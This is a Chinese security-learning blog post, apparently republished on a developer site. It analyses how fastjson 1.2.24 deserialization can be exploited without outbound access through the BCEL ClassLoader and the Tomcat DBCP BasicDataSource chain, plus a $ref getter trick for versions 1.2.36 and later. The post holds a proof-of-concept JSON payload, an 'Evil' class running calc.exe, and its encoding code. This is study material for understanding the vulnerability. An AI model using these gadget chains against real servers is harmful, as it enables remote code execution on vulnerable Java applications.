热门标签 | HotTags
当前位置:  开发笔记 > 前端 > 正文

fastjson不出网学习

前言fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。B

前言

fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。


BCEL

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了


BCEL的简单使用

BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意的类

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

然后使用过BCEL提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

public class BCEL_T {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}

image-20220220212007914

讲完BCEL我们大概知道了如何使用,这下看看在fastjson里面的使用吧


BCEL在Fastjson漏洞中的利用

测试环境


jdk8u31

dbcp 9.0.53

fastjson 1.2.24 [1.2.24之后修复了]


这里先贴一下poc[注意看注释]

{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}

这个poc最开始有点看不懂,这里贴一个其他师傅发的利用链,我们来分析下

BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

image-20220220222829690

不管if是不是true都会进行this.createDataSource().getConnection();这个操作,跟踪下

image-20220220223038166

然后继续跟进下到createDriver

image-20220220223056580

到这里就执行了我们的恶意代码

image-20220220223549881

可以看到这里是Class.forName将类加载进来,并且设置了initialize参数为true【其实就是告诉Java虚拟机是否执⾏”类初始化而staic就是在类初始化加载的】而Class.forName方法实际上也是调用的 CLassLoader 来实现的。所以1和3都是可控的

image-20220220224337775

但现在就有点问题了,我焯。他是怎么调用getConnection的并且返回值是Connection是不满足geter的

image-20220220224613552

我们回头去查看这个POC形式

首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

image-20220221120558658

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法

具体调试可以看fastjson反序列化之basicdatasource利用链


$ref

因为调用geter是有限制的,对于不满足getter的方法的时候我们该怎么解决呢?

当fastjson>=1.2.36的时候,可以使用$ref方式调用getter


什么是ref

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象


什么又是JsonPath

详细可以参考:https://goessner.net/articles/JsonPath/ 这里简单举个例子

Test.java

public class test {
private String cmd;
public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}
public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}

触发代码

public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}

image-20220221131128719

可以看到geter被调用了但是他是不满足我们geter调用要求的

我们来解释一下这个demo

[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]

这其实不就是一个数组吗,fastjson解析到$ref会判断为是一个引用,$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

这里调试一下,看下调用栈

image-20220221132333784

74行就是进行了一些ref的处理没啥 然后一些赋值增加了一个resolveTask,进入75行

image-20220221133534311

image-20220221133828470

进入eval根据path生成并返回一个JavaPath对象

image-20220221133933313

然后继续进入eval

image-20220221134017802

注意有一个init()

image-20220221134154279

因为不满足所以直接else,注意看explain()函数,这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,然后explain()会把一个完整的JSONPath拆分成小的处理逻辑,这里就不截图了 太多了。具体详细流程看y4师傅学习。

最终JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

image-20220221135022356

image-20220221135034375

至此流程我们大概就清楚了,那为什么1.2.36之前不行?

这里拿一个1.2.35对比一下差异主要在DefaultJSONParser#handleResovleTask

要求refValue不为null,且必须时JSONObject类

image-20220221140820757


参考

https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526

FastJson反序列化之BasicDataSource利用链



推荐阅读
  • 本文探讨了在使用 ClickOnce 部署方式时遇到的自动更新失败问题,包括本地安装与服务器安装的不同表现,并提供了详细的解决方案。 ... [详细]
  • 本文详细介绍了如何在不同操作系统中设置 Node.js 的环境变量,包括通过命令行、npm 脚本以及直接在代码中设置的方法。 ... [详细]
  • 本文详细介绍了MySQL表分区的概念、类型及其在实际应用中的实施方法,特别是针对Zabbix数据库的优化策略。 ... [详细]
  • 本文深入探讨了PHP电商网站的开发成本,涵盖从基础建站到高级定制的各种费用因素。 ... [详细]
  • 随着物联网技术的快速发展,NB-IoT(窄带物联网)作为一项关键的技术,正逐步成为实现大规模设备互联的重要手段。本文将详细介绍NB-IoT技术的特点、应用场景及其在实际项目中的应用实例。 ... [详细]
  • 本文探讨了在Linux系统中尝试访问远程MySQL数据库时遇到的权限拒绝错误,特别是当使用非root用户进行连接时出现的'Access denied for user'错误。 ... [详细]
  • 本项目旨在开发一款能够高效转换MODBUS协议至MQTT协议的设备,以适应现代物联网环境下的数据传输需求。通过此装置,可以有效解决不同品牌传感器协议不兼容的问题,简化云端接入流程,提高数据处理效率。 ... [详细]
  • 本文详细介绍了如何在阿里云 ECS 实例上安装和配置 MySQL 数据库,包括安装 MySQL 的 Yum 仓库、解决常见安装问题、启动服务以及设置初始用户权限等步骤。 ... [详细]
  • 本文详细介绍了Python的multiprocessing模块,该模块不仅支持本地并发操作,还支持远程操作。通过使用multiprocessing模块,开发者可以利用多核处理器的优势,提高程序的执行效率。 ... [详细]
  • 本文详细解析了在使用Git进行代码推送时常见的两个错误——'fetch first'和'non-fast-forward',并提供了有效的解决方案。通过理解这些错误背后的原因,开发者可以更加高效地管理代码版本。 ... [详细]
  • PHP网站部署指南:从零开始搭建PHP网站
    本文提供了详细的步骤指导,帮助开发者在不同环境下成功部署PHP网站,包括在IIS和Apache服务器上的具体操作。 ... [详细]
  • 本文详细介绍了将本地计算机和服务器从CentOS 7.2或7.3版本升级到7.4的过程,包括必要的准备步骤、执行升级的具体命令以及验证升级是否成功的检查方法。 ... [详细]
  • 本文介绍了一种有效的方法来监控Web服务器(如Nginx)和数据库服务器(如MySQL)的服务状态,通过端口、进程和服务响应等多种方式确保服务的正常运行。 ... [详细]
  • 解决JavaWeb项目中因IPv6导致的IP转换错误
    本文探讨了在JavaWeb项目中,当尝试将客户端IP地址从字符串形式转换为整数时遇到的问题,并提供了详细的解决方案。具体问题表现为在本地环境中通过`request.getRemoteHost()`获取到的IP地址为IPv6格式,而非预期的IPv4格式。 ... [详细]
  • 本文介绍如何通过配置Linux服务器作为路由器来实现两个不同网段(192.168.1.0/24 和 192.168.2.0/24)之间的互联互通。 ... [详细]
author-avatar
000000
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有